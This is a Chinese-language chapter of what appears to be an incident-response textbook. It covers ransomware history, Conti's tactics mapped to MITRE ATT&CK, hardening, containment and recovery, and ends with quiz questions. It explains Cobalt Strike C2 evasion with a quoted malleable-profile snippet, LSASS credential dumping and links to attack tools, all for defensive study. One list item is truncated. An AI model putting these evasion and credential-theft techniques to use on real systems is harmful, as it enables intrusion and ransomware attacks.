图 14.1 – 勒索病毒简史
CryptoLocker
第一波勒索病毒攻击发生在 2013 年 9 月到 2014 年 5 月之间,使用了CryptoLocker勒索病毒变种。该变种通过恶意电子邮件附件和Gameover ZeuS僵尸网络传播。此勒索病毒变种使用 2048 位 RSA 密钥加密本地文件和映射的网络驱动器。攻击者还会告知受害者他们的文件已被加密,并提供支付赎金的说明。通过执法部门的干预,攻击者被阻止,最终在 2014 年 5 月摧毁了 Gameover ZeuS 僵尸网络。此干预甚至包括对俄罗斯国籍的 Evgeniy Bogachev 的起诉,因其涉嫌参与维护与这些攻击相关的僵尸网络。
CryptoWall
下一个重大变种是CryptoWall,它在 CryptoLocker 变种消失后崭露头角。与 CryptoLocker 类似,这种结合了特洛伊木马和勒索病毒的变种使用 2048 位 RSA 加密算法来加密受害者的文件。该恶意软件的主要传播方式是通过包含 PDF 文档的压缩文件。
CTB-Locker
与 CryptoWall 和 CryptoLocker 变种同时流行的,还有CTB-Locker变种,它也在感染受害者的系统。这个变种主要通过恶意电子邮件附件或伪造下载进行传播,且增加了一些附加功能,如使用洋葱路由(TOR)网络进行命令与控制,并删除感染系统的卷影复制,以阻止恢复。
CTB-Locker 利用的一个附加功能是加盟模式或勒索病毒即服务(RaaS)。在这种模式下,独立的攻击者可以访问勒索病毒和相关工具,以进行攻击,并从他们的赎金中提取一部分支付给运营勒索病毒的攻击者。
TeslaCrypt
虽然大多数勒索病毒会加密各种文件,但TeslaCrypt变种则专门针对与在线游戏相关的文件。TeslaCrypt 的初始版本会加密保存的游戏、玩家档案和游戏修改文件。直到后来的版本,才会加密更多的 Microsoft 文件及其他常见文件。TeslaCrypt 利用了 Angler Adobe Flash 漏洞,通过不对称加密密钥感染系统。最初的版本存在加密方案的缺陷,Cisco Talos 发布了解密工具。2016 年 5 月,TeslaCrypt 的攻击者停止了其操作并释放了解密密钥。
SamSam
SamSam勒索病毒变种起源于伊朗,根据对两名伊朗国民 Faramarz Shahi Savandi 和 Mohammed Mehdi Shah Mansouri 的起诉可以看出。在他们的攻击活动中,SamSam 勒索病毒感染了超过 200 个美国组织,从受害者那里收集了约 600 万美元。攻击利用了远程桌面协议(RDP)或基于 Java 的 Web 服务器的漏洞,成功在受害者的网络中获取初步控制权。之后,攻击者会横向移动,尽可能加密更多系统,使用的是 2048 位 RSA 加密算法。
Locky
勒索病毒攻击者常用的一种策略是利用启用了宏的 Microsoft Word 文档。通过网络钓鱼技术,受害者被诱导打开启用了宏的文档。一旦执行,宏会下载一个特洛伊病毒并加密系统。Locky背后的攻击者利用这种技术对多个受害者造成了巨大影响。使用 RSA 或 AES 加密算法,该恶意病毒可以加密驱动器、可移动驱动器和网络连接的驱动器上的文件。
WannaCry
一个短暂但破坏性极大的攻击,WannaCry是一起影响全球超过 20 万台计算机的高调攻击。此次攻击利用了近期披露的 Eternal Blue 漏洞,利用 Microsoft SMB 服务中的一个漏洞,并通过后门工具DoublePulsar使勒索病毒得以安装并复制到其他系统中。WannaCry 攻击仅持续了几个小时,直到 2017 年 5 月 12 日,安全研究员 Marcus Hutchins 发现了一个杀死开关,防止了进一步的感染。经过进一步研究,美国和英国都将此次攻击归咎于朝鲜政府。
Ryuk
被认为是俄罗斯网络犯罪集团 Wizard Spider 的作品,Ryuk 具有要求 2020 年三大最高支付的独特地位。这表明Ryuk背后的集团将目标瞄准了大型组织,以获取大额赎金。勒索病毒可以关闭 180 个服务和 40 个进程,以确保最大限度地影响受害者的系统。数据使用 AES-256 对称密钥加密,并进一步使用 4,096 位 RSA 密钥加密,使得没有密钥几乎不可能恢复加密的文件。利用 RaaS,Ryuk 使用Download-as-a-Service(DaaS),即恶意软件编码人员通过第三方将勒索病毒传送给目标。
Ryuk 同样使用了更为复杂的多阶段攻击。在这种情况下,会向受害者发送一封钓鱼邮件。一旦附件(如启用宏的 Word 文档)被打开,就会使用一个额外的工具,称为投放器。这些投放器,如 BazarBackdoor 或 Trickbot,通常用于添加额外的命令和控制工具。一旦控制权建立,勒索病毒就会被加载并执行。
Ryuk 与另一个高产的变种 Conti 密切相关。这个变种代表了一种高度复杂的工具,它将过去版本中的勒索病毒变种元素结合成一次极具影响力的攻击。
Conti 勒索病毒案例研究
最具生产力的勒索病毒变种之一是 Conti。Conti 的两个特点使其在威胁行为者中脱颖而出。第一个特点是 Conti 是一个 RaaS(勒索软件即服务)威胁行为者。这种类型的威胁行为者使用一种加盟模式,在黑客论坛上寻找高度熟练的招募人员。从那里,他们会获得执行初始阶段所需的工具和技术:攻击并部署勒索病毒。Conti 变种的原始编码人员随后会获得 10%到 30%不等的赎金作为报酬。
第二个特点是,Conti 的加盟者通常会在加密文件的同时窃取数据。然后,这些数据会被“劫持”,用于勒索。如果受害组织未能及时支付赎金,数据将被公开。Conti 的加盟者甚至能够在互联网和暗网上使用一个网站发布这些数据。
在被关闭之前,Conti 变种及其加盟团体使用了多种多样的工具和技术,成为研究勒索软件威胁行为者操作模式的一个优秀案例。在这个案例中,我们将首先研究该加盟团体的背景、披露内容以及该团体及其加盟者在攻击中使用的 TTP(战术、技术和程序)。
背景
RaaS 模型首次出现在 2019 年 12 月。Conti 这个名字指的是所使用的特定恶意软件变种,通常与威胁行为者 Wizard Spider 开发的 Trickbot 木马一起部署。这个团体首次出现在 2016 年 9 月,据信其总部位于俄罗斯,是一个技术先进、以财务为驱动的威胁行为者。
在运作期间,与 Conti 相关的 RaaS 威胁行为者攻击了包括政府和大型企业在内的多种组织。即便在 COVID-19 大流行期间,加盟团体仍然对 16 个不同的医疗或急救网络发动攻击。这些攻击中的一些勒索金额高达 2500 万美元。
Conti 所使用的加盟模型的一个关键特点是组织内部的精细任务分工。有专门的团队负责初步访问的技术环节,然后将剩余的工作交给其他团队处理。还有专门的团队负责与受害者组织进行勒索软件谈判。
Conti 还通过向攻击中加入额外的勒索元素,进一步提升了原本就非常盈利的勒索软件威胁。Conti 在公开互联网和暗网中设置了多个网站,威胁称如果受害者不满足其要求,他们将公开泄露被窃取的数据。这样做是为了迫使受害者支付赎金,不仅是为了恢复数据解密,还为了避免公共披露带来的尴尬:

图 14.2 – Conti 披露网站
在同一个网站上,Conti 行为者还威胁对 2022 年俄乌战争危机进行报复。此声明之后,该团体对乌克兰的目标进行了更多攻击。主要的不同点是,这些攻击针对的是政府网络和关键基础设施,而不再是单纯的勒索目的。

图 14.3 – Conti 乌克兰响应
在短短 2 年的运营中,Conti 及其附属机构已经成为政府、医疗、关键基础设施以及大公司等组织的重大威胁。它们的精密任务分工和技术能力使其成为潜在未来威胁行为者的模仿对象。鉴于此,当该组织在 2022 年 5 月停止运营并关闭其基础设施,包括其披露网站时,许多人感到意外。附属成员随后加入了其他团体。一项事件可能加速了该组织的解散,那就是一个附属成员披露了内部文件和工具。
操作披露
2021 年 8 月 5 日,一位用户名为m1Geelka的用户在俄罗斯语言的网络安全论坛xss.is上发布了 Conti 勒索软件组及其附属机构使用的技术和操作手册。该用户提供了一个链接,供有权限访问论坛的任何人下载手册和软件,该链接指向一个文件共享网站。此帖很快被删除,但对于安全研究人员来说,这是一次关于该组操作的重磅数据和情报收获:

图 14.4 – Conti 披露
这些披露内容目前仍然可以在share.vx-underground.org/Conti/访问,包含了 2022 年 2 月和 3 月 Conti 组 TTPs(战术、技术和程序)更新的附加披露。例如,披露的文件中包含了使用 Cobalt Strike 等工具的屏幕截图,如下所示:

图 14.5 – Conti 使用 Cobalt Strike
这些披露内容包括了该组织运营和方法的其他关键细节。包括了聊天记录、源代码以及与工具使用相关的手册。此次披露的独特之处在于几乎完整呈现了威胁行为者及其附属机构的操作方法和工具。通过这些数据,我们可以清楚地看到一个复杂的勒索软件组织可能采用的具体战术和技术,从而更好地准备防御和检测它们。
战术和技术
Conti 的附属人员采用多种策略和技术。在本节中,我们将探讨其中一些更常见的策略和技术,因为这些策略与附属人员及其他勒索病毒威胁行为者使用的策略有很大的重叠。要完整了解与 Conti 勒索病毒变种相关的 TTPs,请参考 MITRE ATT&CK 配置文件:attack.mitre.org/software/S0575/。有关实际 Conti 勒索病毒攻击活动的背景,网络安全和基础设施局(CISA)发布了关于 Conti 威胁行为者的咨询报告,并详细列出了在超过千次攻击中观察到的 MITRE ATT&CK 战术:www.cisa.gov/uscert/sites/default/files/publications/AA21-265A-Conti_Ransomware_TLP_WHITE.pdf。
初始访问
Conti 主要采用的方式是鱼叉式钓鱼攻击 [T1566.001]或邮件中包含的恶意链接 [1566.002]。这些邮件通常会包含一个启用了宏的 Microsoft Word 文档,文件名故意设置为吸引用户打开附件。在其他案例中,Conti 附属人员已知使用被泄露的凭据通过启用 RDP 的互联网暴露系统进行连接。这样,他们可以在不发送钓鱼邮件的情况下,在网络内建立立足点。
其他附属人员使用伪装电话,他们假装是帮助台人员,诱使用户下载远程访问软件,如 GoToAssist。然后,攻击者可以植入恶意软件或其他工具,开始后续的操作。
执行
一旦启用了宏的 Word 文档被打开,宏通常会执行一个 Windows PowerShell 脚本,以执行命令和脚本解释器:PowerShell [T1059.001]技术。这个脚本常用于下载二级有效载荷,通常是像 Trickbot、Qbot 或 Bazar 这样的 RAT。这样就建立了对受害者网络的初步控制。
执行恶意软件需要使用几种方法。Conti 附属人员常用的一种技术是将 RAT 嵌入 DLL 文件中。该文件将被放置在一个目录中。然后,使用 Windows rundll32.exe 可执行文件来执行 RAT,这种方法称为系统二进制代理执行:Rundll32 [T1218.011]。即便许多 EDR 工具可以检测到此类行为,这种技术在实际环境中仍然存在。
在这里,我们将开始查看工具 Cobalt Strike。这个工具常出现在勒索软件事件中,并且通常与 Conti 有关。Cobalt Strike 是一款商业化的后期利用工具,具有广泛的功能,能够在一个集成系统中执行各种操作。Cobalt Strike 还包括其他常见的后期利用框架,如 Metasploit 和后期利用工具如 Mimikatz,可用于各种凭证威胁和滥用攻击。该工具的整体外观和操作感受类似于 Armitage,如下图所示:

图 14.6 – Cobalt Strike 图形用户界面
Cobalt Strike 通常会在此攻击阶段与 RAT 一起执行,或者代替 RAT 执行。
权限提升
Wizard Spider 被观察到在一次被称为 进程注入:动态链接库注入 [T1055.001] 的攻击中,将恶意 DLL 文件注入现有或正在运行的进程。在此技术中,攻击者可以将任意代码注入到正在运行的进程中。这使得攻击者能够执行恶意代码并绕过检测。根据写入的进程,恶意代码可能还会以提升的权限运行。
防御规避
现代的杀毒软件和 EDR 解决方案在检测恶意软件、漏洞利用和其他恶意活动方面变得更加高效。勒索软件威胁演员,如 Conti,采用各种方法确保不被检测和阻止。除了进程注入外,Cobalt Strike 平台还具有额外的功能,允许威胁演员保持隐蔽。例如,该工具通过哈希化 Windows API 调用,使用 混淆文件或信息 [T1027] 技术,使得杀毒软件或 EDR 工具无法识别与 Cobalt Strike 使用相关的任何可疑 API 调用。
另外一个常见的防御规避策略,不仅在 Conti 中观察到,在许多勒索软件威胁演员中也有广泛使用,就是利用 Base64 编码 PowerShell 脚本。此策略通过不将具体命令写入存储来提供一种混淆手段。相反,它依赖 PowerShell 解码并执行命令。例如,以下 Windows 事件日志条目展示了 Base64 编码的脚本:

图 14.7 – Base64 编码的 PowerShell 脚本
凭证访问
获取或创建具有提升权限的有效凭证,对于勒索软件攻击的横向移动组件至关重要。Conti 利用几种不同的工具和技术来获取凭证。第一种是使用 Sysinternals 工具 procdump.exe。该工具在 操作系统凭证转储:LSASS 内存 [T1003.001] 技术中被使用,用于转储 本地安全认证子系统服务(LSASS),该服务包含 Windows 操作系统的凭证。
Conti 还使用了后渗透工具 Mimikatz,执行类似 Windows Sysinternals 工具procdump.exe的操作。该二进制文件和相关文件可在 GitHub 上找到:github.com/ParrotSec/mimikatz。Mimikatz 还可以获取系统上用户和管理员账户的明文密码,如下图所示:

图 14.8 – Mimikatz
Mimikatz 还可以获取 Kerberos 票证,以及其他功能,以获得有效的凭证。像 Metasploit 和 Cobalt Strike 这样的后渗透框架包括 Mimikatz。
发现
一旦建立了立足点,像 Conti 这样的勒索软件攻击者需要绘制内部网络图,以确定影响尽可能多系统的最佳方式。在某些情况下,这包括运行命令行工具如net localgroup。已知 Conti 使用 Cobalt Strike 中的网络发现功能。最后,对于更复杂的网络,可以使用 Active Directory 映射工具 Bloodhound,下载地址:github.com/BloodHoundAD/BloodHound。该工具不仅能绘制网络图,还能提供可视化图表,进而可能为最佳攻击路径提供见解。
横向移动
在执行这一战术之前,恶意活动通常只限于少数已被初步执行 RAT 或通过其他工具被攻陷的系统。发现后的下一阶段是横向移动。这时,Conti 的攻击者试图攻陷尽可能多的系统,以便勒索软件的影响足以迫使受害者支付赎金。
勒索软件的横向移动在很大程度上依赖于拥有凭证的访问权限,通常是具有提升权限的凭证,这使得可以通过服务器消息块(SMB)或 RDP 进行远程访问。对于 SMB,特定的技术被称为远程服务:SMB/Windows 管理员共享 [T1021.002]。在这一技术中,攻击者通常使用 Windows Sysinternals 工具 PsExec 连接到并写入 ADMIN$网络共享。然后,他们能够执行额外的命令或传输恶意工具和可执行文件。
另一种常用的技术是远程服务:远程桌面协议 [1021.001]。在这种情况下,Conti 可以利用 Cobalt Strike 的虚拟网络计算(VNC)功能连接到运行 RDP 的其他系统。从这里,他们可以执行额外的命令或在新被攻陷的系统上放置其他工具。
这些技术的一个方面是,它们依赖于拥有合法管理员级别凭证的访问权限。
命令与控制
Cobalt Strike 后期利用工具的一个关键组成部分是其定制指挥与控制基础设施的能力。该工具使用由威胁行为者配置的监听器。威胁行为者可以配置监听器,使用多种 TCP 和 UDP 协议,如 DNS、HTTP 和 HTTPS。
除了监听器,威胁行为者还可以配置一组可修改的 C2 配置文件。这些配置文件使威胁行为者能够模糊化 C2 流量,以绕过入侵检测或入侵防御系统等检测机制。例如,下面这一段可修改的配置文件来自 github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/amazon.profile。在该配置文件中,C2 流量被设计成模拟正常的 HTTP 流量。值得检查的一个特定部分如下:
set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";
在配置文件的这一部分,已经配置了各种设置。第一个是睡眠时间,这是 C2 信标向外部 C2 系统发送指令时的间隔(以秒为单位)。为了绕过 IDS 系统对这种信标行为的检测,设置了一个抖动时间。这是一个随机时间,可以通过增加或减少睡眠时间来随机化信标活动。另一个关键数据是用户代理,配置文件使用它来使连接看起来像是一个 web 浏览器发起的。随意检查任何网络流量都会显示该用户代理字符串。
这些可修改的配置文件是公开可用的,并使 Cobalt Strike 能够伪装成合法的流量。在一个小型网络中,Cobalt Strike 系统与受害系统之间的流量会与所有其他在网络进出口点传输的流量混合在一起。
数据泄露
Conti 与其他早期组织或攻击活动的主要区别之一就是数据盗窃和加密。在这种情况下,Conti 使用了 WinSCP 或 PuTTY 等常见工具,通过 安全文件传输协议(SFTP)或简单的 HTTPS 技术 Web 服务数据泄露 [T1567] 来发送聚合数据。
影响
Conti 组与 Conti 勒索病毒相关,该勒索病毒会根据 MITRE ATT&CK 技术 CreateIoCompletionPort()、PostQueuedCompletionStatus() 和 GetQueuedCompletionPort() 加密感染系统上的数据,使用一个与 RSA-4096 公钥配对的 AES-256 加密密钥来加密文件。Conti 变种的一个独特特征是它会跳过 .exe、.dll 和 .lnk 文件,并且不会加密它们。
Conti 还可以通过停止 146 个独立的 Windows 操作系统服务或进程,执行Service Stop [1489]技术。这些服务与备份和安全工具相关联。这样,勒索软件就能正常执行,并且消除了受害者利用备份进行数据库或其他恢复的能力。
最后,Conti 勒索软件可以使用vssadmin命令。再次强调,这会删除受害者在加密过程后恢复系统的能力。本质上,如果 Conti 成功执行,它几乎肯定会加密所有文件,只有少数文件除外,导致系统无法使用。
适当的勒索软件准备
勒索软件攻击对企业造成的破坏是毁灭性的。除了自然灾害,没有多少事件能像勒索软件攻击那样产生如此大的影响。虽然旨在获取机密数据的 APT 类型网络入侵也非常严重,但它们通常不会加密整个网络,尤其是当入侵者试图保持一定的隐蔽性,以便入侵不被察觉时。
在为勒索软件攻击做准备时,组织应关注两个具体领域。首先,确保网络和端点对勒索软件攻击的影响具有韧性。此方法的前提是假设威胁行为者可能会访问系统,但适当的准备将使他们在从初始立足点进一步攻击时,几乎没有工具或方法。第二个准备步骤是确保 CSIRT 团队熟悉勒索软件威胁行为者的 TTP(战术、技术和程序),并准备应对隔离和清除网络中的威胁行为者的挑战。
勒索软件韧性
对抗勒索软件的韧性意味着我们承认这一威胁的存在,并且至少有机会在端点阻止攻击。如果这样做无效,组织可以限制勒索软件的蔓延及其相关影响,确保只有少数选定的系统受到影响,从而使正常操作得以继续。勒索软件韧性策略应包括以下内容:
-
使用
rundll32.exe执行恶意代码。尽管 PowerShell 或rundll32.exe的使用本身并不具恶意,但通过命令行运行 DLL 文件或 Base64 编码的 PowerShell 通常表明存在恶意行为。 -
系统卫生:正如我们在 Conti 勒索软件概述中看到的,该团伙通常会利用 Windows Sysinternals 工具作为整体攻击的一部分。再加上使用本地管理员账户,单一系统的妥协可能会带来重大风险。系统管理员应确保部署的端点仅限于必要的工具。移除 RDP 访问、本地管理员账户以及像 ProcDump 或 PsExec 这样的工具,可以使横向移动和感染其他系统变得更加困难。
有几个行业公认的系统加固标准,例如安全技术实施指南(STIGs),提供了如何配置和加固各种系统的详细信息。还有其他指南可以参考。每个组织必须根据其风险来决定并应用适当的加固措施。无论系统如何加固,整体目标都是使威胁行为者在网络中进行操作变得更加困难。
- 网络拓扑:关于影响整个网络的勒索软件攻击,一个突出的方面是“扁平”网络拓扑。在这种拓扑中,所有系统都可以与其他系统通信。例如,支付账款的局域网段就能与研发部门的系统进行通信,尽管这些系统之间并没有必要相互通信。简而言之,扁平网络允许勒索软件威胁行为者使用被攻破的凭证和他们选择的工具,在整个企业范围内传播。
解决方案是像造船工设计集装箱船那样构建网络拓扑。在水线以下,船体有防水舱,以便如果船体受损,水只能进入那个舱室,从而保持船只浮在水面上。网络拓扑应当以类似的方式工作,其中不同的局域网段通信仅限于必要的交流。网络分段的做法创造了特定的“防水”舱室,限制了威胁行为者横向移动的能力。
-
多因素认证:远程访问是管理即使是小型企业网络时的关键组成部分。然而,问题在于,威胁行为者通常会利用这些方式来传播勒索软件。建议实施多因素认证(MFA)机制,以限制威胁行为者在能够突破管理员账户的情况下横向移动的能力。
-
安全备份:作为勒索软件威胁不断发展的一个方面,我们已经看到像 Conti 这样的团体干扰组织从勒索软件攻击中恢复的能力。在 Conti 的案例中,这包括从已感染的系统中移除卷影复制。其他团体甚至更进一步,进行网络发现,寻找连接网络的存储区域网络(SAN),并加密其中的备份,实际上使组织无法恢复备份。因此,组织应该评估其备份策略,并可能使用离线备份或符合恢复点和恢复时间目标的云解决方案。
准备 CSIRT
有一些额外的步骤与勒索软件相关,应该包含在任何事件响应计划或行动手册中。以下是应对勒索软件时的一些关键考虑因素:
-
快速隔离或封锁:勒索软件带来的最大风险是它传播的速度。攻击者可能仅需几小时就能完成他们的目标。为应对这一点,事件响应人员应确保能够快速在关键技术如路由器、交换机和防火墙上执行隔离操作。快速隔离的障碍在于需要在行动之前与领导层确认决策。这会增加隔离攻击所需的时间。最佳的做法是,在事件发生之前讨论在何种情况下网络或安全团队将切断网络段或互联网之间的通信,这样他们便有权限采取措施遏制攻击。
-
保持对 TTP 的更新:勒索软件攻击者会不断改变他们的 TTP(战术、技术和程序),以保持领先于现代企业中的预防和侦测技术。这些变化有时可能是微妙的,有时则会表现为显著的变化。在任何情况下,威胁情报来源对于理解威胁、攻击者如何操作以及如何最好地调整预防和侦测控制措施至关重要。
-
桌面演练:最后,事件响应人员可以采取的具体行动之一是为技术团队和领导层设计并组织一个桌面演练(TTX),该演练将涵盖整个事件生命周期,以确保各个单位协调一致,并在事件发生前做出关键决策。这确保了在实际事件中执行的行动是预先计划好的,从而可以减少做出关键决策所需的时间,进而降低事件的影响。
根除与恢复
如果勒索软件攻击在组织中成功,重要的是要有一个预案,尽快将组织恢复正常运行。此外,正如我们所看到的,这些攻击非常复杂,涉及到深层嵌入操作系统的复杂恶意软件。这使得确保网络中彻底清除威胁变得困难。因此,有一些特定的方法可以隔离、根除并从勒索软件事件中恢复,从而确保最好的结果。
隔离
隔离勒索软件事件涉及两个主要行动。第一个是切断对被攻击系统的 C2(指挥与控制)能力。攻击者通常使用商业和开源工具的组合,如 Cobalt Strike 或 Metasploit,这些工具采用各种连接类型。初步调查的目标是检查系统,以确定 C2 基础设施和通信的性质,从而加以封锁。
第二个主要措施是切断对手横向移动或感染其他系统的能力。勒索软件攻击的关键特征是对手的目标是尽可能感染更多的系统,从而增加受害者支付赎金的可能性。
防火墙规则
对于未被局域网段包含且有可能导致整个企业受损的事件,考虑使用一个防火墙规则来切断所有互联网连接,直到识别出指挥与控制机制及其相关指标,并能够配置更具针对性的防火墙规则集。这种类型的遏制策略的明显挑战是关键系统将受到不利影响。每个情况都不同,应该在采取这一步骤之前评估具体情况。
禁用 SMB 通信
对手通常会在 Windows 企业环境中利用 SMB 功能。遏制勒索软件事件需要移除此功能。例如,如果启用了 SMBv1,你应当在整个企业中永久禁用它。如果警报或初步调查显示该协议正在被用于横向移动,你应该暂时禁用 SMBv2/v3。微软建议不永久禁用 SMB v2/3。有关更多微软的指导,请访问 support.microsoft.com/en-us/help/2696547/detect-enable-disable-smbv1-smbv2-smbv3-in-windows-and-windows-server。
禁用管理员共享
网络利用和勒索软件攻击的另一个目标是查找和访问网络管理共享。Fortalice Solutions 建议阻止管理员共享,因为对手经常利用这些共享来传播文件,或用作脚本或命令的来源:
-
选项 1:要阻止管理员共享,推荐的解决方案是推出一个 GPO 偏好设置,应用到计算机上以编辑注册表:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
在此创建一个新的 DWORD 值,命名为 AutoShareWks,并将值数据设置为零。这可能需要你重新启动主机。欲了解更多信息,以下博客提供了关于注册表值更改的额外指导和示例:winaero.com/blog/disable-administrative-shares-in-windows-10-windows-8-and-windows-7/。
-
选项 2:从 Windows 命令行输入以下内容:
for %i in (C$ IPC$ ADMIN$) do net share %i /delete OR net stop LanmanServer
禁用管理员共享可能会带来一些不利影响。以下博客文章提供了缺少管理员共享时可能出现的问题的指导:support.microsoft.com/en-us/help/842715/overview-of-problems-that-may-occur-when-administrative-shares-are-missing。
限制 PowerShell 使用
对手通常会利用 PowerShell 作为交付勒索软件的一部分。像 PowerSploit 这样的工具被配置为利用 PowerShell 进行企业范围内的各种操作。如果由于依赖的第三方应用程序,必须在环境中启用 PowerShell,请确保禁用旧版 PowerShell v2,因为它允许绕过受限语言模式并绕过反恶意软件扫描 接口(AMSI)。
限制远程访问
远程访问应用程序,如 RDP,应在事件得到控制或 MFA 解决方案到位之前禁用。RDP 可以通过 GPO 进行禁用。在这一点上,事件响应人员常常会提出一个问题,即在事件期间禁用 RDP 可能会影响他们获取证据的能力。虽然这种担忧是有一定道理的,但保持 RDP 启用的真正影响可能是相当严重的。这时,远程证据捕获工具和技术就显得尤为关键——它可以让响应人员在阻止攻击者访问其他系统的同时,也能够收集必要的证据。
根除
根除是指将威胁行为者从网络中移除。这包括移除威胁行为者植入的任何恶意软件、使用的任何附加工具以及任何可能已被泄露的凭证。虽然这一概念看似简单,但现代勒索软件攻击的现实是,它们使用多种持久化机制确保威胁行为者能够继续访问。此外,系统上的许多数据已经被加密。
响应人员面临的挑战是,在没有完全和深入的调查情况下,很难确定威胁行为者能够侵入系统的深度。例如,与勒索软件攻击相关的 RATs(远程访问木马)可能会在计划任务中设置持久化机制,或者在注册表中植入脚本以便在每次启动时执行。完全反向工程恶意软件可以提供这些数据,但最佳选项是从头开始。
从感染的系统中移除威胁行为者通常需要从受信任的金镜像或已知的良好镜像中进行完全重建。开始这一过程的最佳地方是业务连续性计划(BCP)或业务恢复计划(BRP)。该计划概述了如何从备份中重建系统或重新制作镜像并重新部署。
恢复
应仔细执行恢复操作,以确保感染系统不会重新引入网络。如果有足够的证据,应在进入恢复阶段之前进行全面的根本原因分析(RCA)。这确保发现并能够根据过程修正威胁行动者利用的所有漏洞或系统配置。此外,只有在经过更新并包含在事件中定位的 IOC 的适当安全控制的清洁安全工具扫描后,才应重新引入系统。
恢复操作可以分为两大类。其中之一是根除和重新部署系统到企业架构。在第二章中,我们讨论了从事故中恢复所需的架构。
恢复网络架构
在第二章中,我们审查了一个从事故中恢复的示例恢复架构。以下是对此恢复方法的更详细和技术上的审查,专门针对勒索软件:
-
配置三个单独的虚拟本地区域网络(VLANs):
-
感染 VLAN:这是所有感染系统托管的网络。在大量系统感染的情况下,这可以是生产网络。理想情况下,这应配置为一个单独的网络。
-
分期 VLAN:这个 VLAN 用于事故分类、重新映像、打补丁、安装安全工具和准备重新部署:
-
互联网应仅用于事故分类、重新映像、软件更新和安全技术更新
-
可能启用 PXE 引导以进行重新映像
-
启用所有安全工具,如主机入侵检测、防病毒软件或终端检测和响应,以检测和隔离任何潜在的恶意软件或攻击
-
在清洁它们之前监视系统以防止重新感染
-
-
清洁 VLAN:
-
一个完全新的网络,与“脏”或“分期”VLAN 没有连接
-
这可能涉及到一个新的本地域
-
只有在证明清洁后才将系统移至此处
-
-
如果域控制器已被攻击,应从头开始构建新的域控制器,并部署一个已知的好备份。
企业密码重置
许多勒索软件攻击将影响域控制器以及其他系统。如果威胁行动者能够识别域控制器并能够破坏包含整个企业凭据的NTDS.DIT文件,则将必须使用以下过程进行全局密码重置:
-
更改所有高度特权组中账户的密码。
-
更改内置本地管理员密码并可能拒绝远程登录:
- 使用微软的本地管理员密码解决方案(LAPS)随机化每个终端的本地管理员密码,防止横向移动,并在需要时将其存储在 Active Directory 中。
-
强制所有普通用户账户在下次登录时更改密码。
-
禁用 Windows 操作系统在任何不需要凭证的设备上缓存凭证的功能(
docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-do-not-allow-storage-of-passwords-and-credentials-for-network-authentication)。
远程访问 MFA
强烈建议任何访问连接到内部网络的系统的远程访问启用多因素认证(MFA)。攻击者继续利用合法凭证并访问仅依赖单一身份验证因素的远程系统。
增强的日志记录
当系统重新部署时,应增加监控。这将提高识别任何可能已被攻击并未正确恢复的系统的可能性,从而在造成重大影响之前发现它们。以下是一些需要转发到 SIEM 或其他日志管理解决方案的重要 Windows 事件和系统日志的附加监控步骤:
-
在可能的情况下部署 Sysmon(特别是在域控制器或关键系统上)。
-
启用安全事件日志 – 允许连接和绑定到端口(5156, 5158 事件 ID)。
-
启用安全事件日志 – IPC$ 连接(5140, 5145 事件 ID)。
-
确保所有系统已部署 PowerShell 版本 5。PowerShell 版本 5 支持增强日志记录,有助于识别 PowerShell 滥用。日志记录需要通过组策略配置以下设置:
-
开启模块日志记录:已启用。
-
开启 PowerShell 脚本块日志记录:已启用。
-
开启脚本执行:未配置。
-
开启 PowerShell 转录:已启用。
-
设置 Update-Help 的默认源路径:未配置。
-
本地日志保留需要配置,以确保每台服务器至少保留 90 天的日志。日志应立即转发到集中式日志存储系统,以便进行长期保留和分析。
-
显然,恢复是一个关键组成部分,组织可能希望尽快完成这一过程。话虽如此,恢复过程必须是系统化的,并考虑到威胁。如果在 TTX 中没有按流程走恢复步骤,或者急于完成过程,会增加将仍然感染的系统重新引入网络的风险,从而导致勒索病毒攻击再次发生。
摘要
勒索软件是一种我们在可预见的未来都会面临的威胁。本章中,我们回顾了勒索软件的历史、威胁行为者如 Conti 常用的 TTP(战术、技术和程序)、如何将我们的事件响应与这一威胁对接,以及如何遏制、消除并从中恢复。了解这些 TTP 可以帮助我们更好地检测和预防此类攻击。理解响应要素使我们能够做出适当的反应,并限制其影响。
在下一章中,我们将探讨具体的调查和分析技术。
问题
回答以下问题,以测试你对本章内容的掌握:
-
哪个威胁行为者与 Ryuk 和 Conti 相关?
-
AtomicSquirrel
-
BadWitch
-
Wizard Spider
-
BlackEnergy
-
-
在域控制器遭到破坏的情况下,执行全局密码重置非常重要。
-
正确
-
错误
-
-
推动勒索软件的关键组件是什么?
-
常见的远程访问木马(RAT)
-
加密货币
-
商业渗透测试工具
-
不良的安全卫生
-
-
以下哪项可以抑制威胁行为者的横向移动?
-
MFA
-
限制 RDP
-
限制 SMB
-
上述所有内容
-
深入阅读
请参考以下资源,了解本章涵盖的更多内容:
-
防止 勒索软件:
www.packtpub.com/product/preventing-ransomware/9781788620604 -
勒索软件事件响应技巧 攻击:
www.packtpub.com/product/incident-response-techniques-for-ransomware-attacks/9781803240442
第十五章:勒索软件调查
即使在应急响应中只花费短短的时间,你也很可能会参与勒索软件调查。如我们在前一章中所见,这类攻击的威胁范围广泛,影响各类组织,包括政府实体、大型企业、医疗保健和关键基础设施。鉴于勒索软件攻击的性质,分析人员和响应人员应熟悉如何调查勒索软件的常见战术和技术。
在本章中,我们将查看一些常见的战术和相关证据。具体来说,我们将检查以下内容:
-
勒索软件初始访问和执行
-
发现凭证访问和窃取
-
调查后期利用框架
-
命令与控制
-
调查横向移动技术
勒索软件初始访问和执行
勒索软件攻击的第一阶段是最初访问目标环境并执行第一阶段的恶意软件。这为威胁行为者提供了进行其余攻击所需的初步立足点。了解如何实现这个初步立足点,可以帮助分析人员提取与此攻击阶段相关的 IOC(指标),旨在确定攻击的范围和潜在来源。
初始访问
勒索软件威胁行为者用来获得初步立足点的主要方法是使用矛式钓鱼附件攻击 [T1566.001]。在许多情况下,这涉及到使用 Microsoft Word 或 Excel 表格,其中包含可以执行虚拟基本应用程序(VBA)的宏。这个宏通常是多阶段攻击的第一阶段,用户在不知情的情况下执行该宏,宏随后连接到攻击者的基础设施,以下载其他恶意软件,如远程访问木马(RAT)或与后期利用框架(如 Cobalt Strike)相关的工具。
